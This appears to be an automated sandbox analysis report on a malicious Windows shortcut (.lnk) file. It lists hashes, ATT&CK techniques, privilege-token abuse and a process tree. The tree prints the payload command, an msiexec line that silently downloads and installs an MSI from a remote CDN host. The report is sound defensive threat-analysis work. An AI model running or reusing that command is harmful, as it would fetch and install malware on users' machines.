aedf0fea2e47d087b9b987a0209bed0b7c7878174b18ababfb8d01cfc76f269e

Resubmissions

19/11/2024, 13:47

241119-q32g8s1pen 7

19/11/2024, 13:47

241119-q3kjqaxdrj 7

Analysis

max time kernel
30s
max time network
32s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
19/11/2024, 13:47

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General

Target

aedf0fea2e47d087b9b987a0209bed0b7c7878174b18ababfb8d01cfc76f269e.lnk
Size

948B
MD5

0879d4ade73bc83521fb8dc947cd3219
SHA1

304e8ad232651e6a0116744748dfa1b2587e5407
SHA256

aedf0fea2e47d087b9b987a0209bed0b7c7878174b18ababfb8d01cfc76f269e
SHA512

2c982d02b5b28bf71c68da088047c02c30b97739b7a56ebb4c2a41a2e33e965bcdd191f0684308d2d1bf9b7a992d29f16148a83219e6adb2d7f567ff89ea2501

Score

7^/10

discovery

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	cmd.exe

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
4500	msiexec.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	3556	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4500	msiexec.exe

Suspicious use of AdjustPrivilegeToken 32 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4500	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4500	msiexec.exe
Token: SeSecurityPrivilege	3556	msiexec.exe
Token: SeCreateTokenPrivilege	4500	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4500	msiexec.exe
Token: SeLockMemoryPrivilege	4500	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4500	msiexec.exe
Token: SeMachineAccountPrivilege	4500	msiexec.exe
Token: SeTcbPrivilege	4500	msiexec.exe
Token: SeSecurityPrivilege	4500	msiexec.exe
Token: SeTakeOwnershipPrivilege	4500	msiexec.exe
Token: SeLoadDriverPrivilege	4500	msiexec.exe
Token: SeSystemProfilePrivilege	4500	msiexec.exe
Token: SeSystemtimePrivilege	4500	msiexec.exe
Token: SeProfSingleProcessPrivilege	4500	msiexec.exe
Token: SeIncBasePriorityPrivilege	4500	msiexec.exe
Token: SeCreatePagefilePrivilege	4500	msiexec.exe
Token: SeCreatePermanentPrivilege	4500	msiexec.exe
Token: SeBackupPrivilege	4500	msiexec.exe
Token: SeRestorePrivilege	4500	msiexec.exe
Token: SeShutdownPrivilege	4500	msiexec.exe
Token: SeDebugPrivilege	4500	msiexec.exe
Token: SeAuditPrivilege	4500	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4500	msiexec.exe
Token: SeChangeNotifyPrivilege	4500	msiexec.exe
Token: SeRemoteShutdownPrivilege	4500	msiexec.exe
Token: SeUndockPrivilege	4500	msiexec.exe
Token: SeSyncAgentPrivilege	4500	msiexec.exe
Token: SeEnableDelegationPrivilege	4500	msiexec.exe
Token: SeManageVolumePrivilege	4500	msiexec.exe
Token: SeImpersonatePrivilege	4500	msiexec.exe
Token: SeCreateGlobalPrivilege	4500	msiexec.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1692 wrote to memory of 4500	1692	cmd.exe	86
PID 1692 wrote to memory of 4500	1692	cmd.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\aedf0fea2e47d087b9b987a0209bed0b7c7878174b18ababfb8d01cfc76f269e.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Windows\system32\msiexec.exe
  "C:\Windows\system32\msiexec.exe" /i https://sextamsi.b-cdn.net/17.msi /quiet /norestart ALLUSERS=1 /lv* unzippingPEDIDONF101204.lnk.txt
  2⤵
  - Use of msiexec (install) with remote resource
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:4500

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:3556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\unzippingPEDIDONF101204.lnk.txt

Filesize
1KB

MD5
c47e8afafd568a1d47482385721680ef

SHA1
8bf247110672fe135779695b1314718303dbf2b1

SHA256
b4628d6323a823bda5442fd72f4255b6a4ff4aed35eb8808c1e6ae5673974acb

SHA512
a1f81408474f85a67ec2a675dc339bf84015afca102515bd85a2ceb9c4b6cd34a33a386875b4ad5de6377803faf17935a298848528679e312bc716f9f4125bd0

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